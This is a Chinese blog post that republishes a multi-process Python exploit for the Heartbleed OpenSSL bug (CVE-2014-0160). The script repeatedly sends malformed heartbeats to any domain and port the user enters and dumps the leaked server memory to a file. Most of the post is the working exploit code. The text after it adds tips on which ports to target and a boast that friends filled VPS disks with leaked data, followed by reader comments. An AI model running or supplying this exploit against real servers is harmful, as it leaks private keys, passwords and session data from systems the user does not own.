#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Multi process and bin dump version by anthrax@insight-labs.org
import sys
import struct
import socket
import time
import select
import re
from multiprocessing import Process,Lock,Manager

THREADS = 5
lock = Lock()

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 64):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s ' % (b, hxdat, pdat)
    print


def hexwrite(s,fn):

    lock.acquire()
    fn.write(s)
    #print 'data dumped...'
    lock.release()


def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            try:
                data = s.recv(remain)
            except Exception as e:
                print e
                pass
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    #print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s,fn):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            #print 'Received heartbeat response:'
            hexwrite(pay,fn)
            if len(pay) < 3:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            #print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False


def fuckit(domain,port,fn):
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #print 'Connecting...'
            #sys.stdout.flush()
            s.connect((domain, port))
            #print 'Sending Client Hello...'
            #sys.stdout.flush()
            s.send(hello)
            #print 'Waiting for Server Hello...'
            #sys.stdout.flush()
            while True:
                typ, ver, pay = recvmsg(s)
                if typ == None:
                    print 'Server closed connection without sending Server Hello.'
                    return
                # Look for server hello done message.
                if typ == 22 and ord(pay[0]) == 0x0E:
                    break
            #print 'Sending heartbeat request...'
            #sys.stdout.flush()
            #s.send(hb)
            hit_hb(s,fn)
            s.close()
        except Exception as e:
            print e
            break

def main():
    while True:
        indata=raw_input("Enter domain name and port, example: google.com:443 : ")
        print indata
        domain=indata.split(':')[0]
        try:
            port=int(indata.split(':')[1])
        except:
            port=443
        if len(domain)<5:
            print 'wrong domain'
            continue
        print 'fucking '+domain+' @ port '+str(port)+'...'
        fn=open(domain+'.bin','ab')
        for j in xrange(THREADS):
                t = Process(target=fuckit,args=(domain,port,fn))
                t.daemon=True
                t.start()

if __name__ == '__main__':
    main()

使用方法很简单,建议在linux下运行,windows下有兼容性问题。

默认每个ip开5线程。

昨天小伙伴们用这个把10多个vps的硬盘跑满了……

顺带说一句,可以试试看465,995, 8443之类的端口,有惊喜。

刚更新了个bug,

print 'fucking '+domain+' @ port '+str(port)+'...'
continue
fn=open(domain+'.bin','ab')

main()里面这里多了个continue,之前测试忘了删了。

[原文地址]

下载地址:

https://raw.githubusercontent.com/AnthraX1/InsightScan/master/heartbroken_bin.py

相关内容:

openssl 多线程 多域名 EXP,支持自定义端口,保存二进制文件,节省空间

openssl 漏洞利用程序,支持smtp, pop3, imap, ftp, or xmpp的POC

OpenSSL 漏洞利用程序脚本 POC,OpenSSL“heartbleed”重大安全漏洞!

留言评论(旧系统):

dog @ 2014-04-11 11:26:55

能不能别这么牛逼啊。。 厉害!!!

本站回复:

这个版本貌似有点bug……

酒逍遥 @ 2014-04-11 15:19:58

公布这漏洞 真正坑残的是 那种不大不小的网站.大网站漏洞修复快.小网站知道的人少. 不大不小的最杯具

本站回复:

是啊,巨大的坑……

佚名 @ 2014-04-14 00:19:14

i/o operation on closed file 咋回事

本站回复:

不清楚……

不知名的黑客 @ 2014-04-19 12:18:08

没看懂怎么利用

本站回复:

额…… -_-|||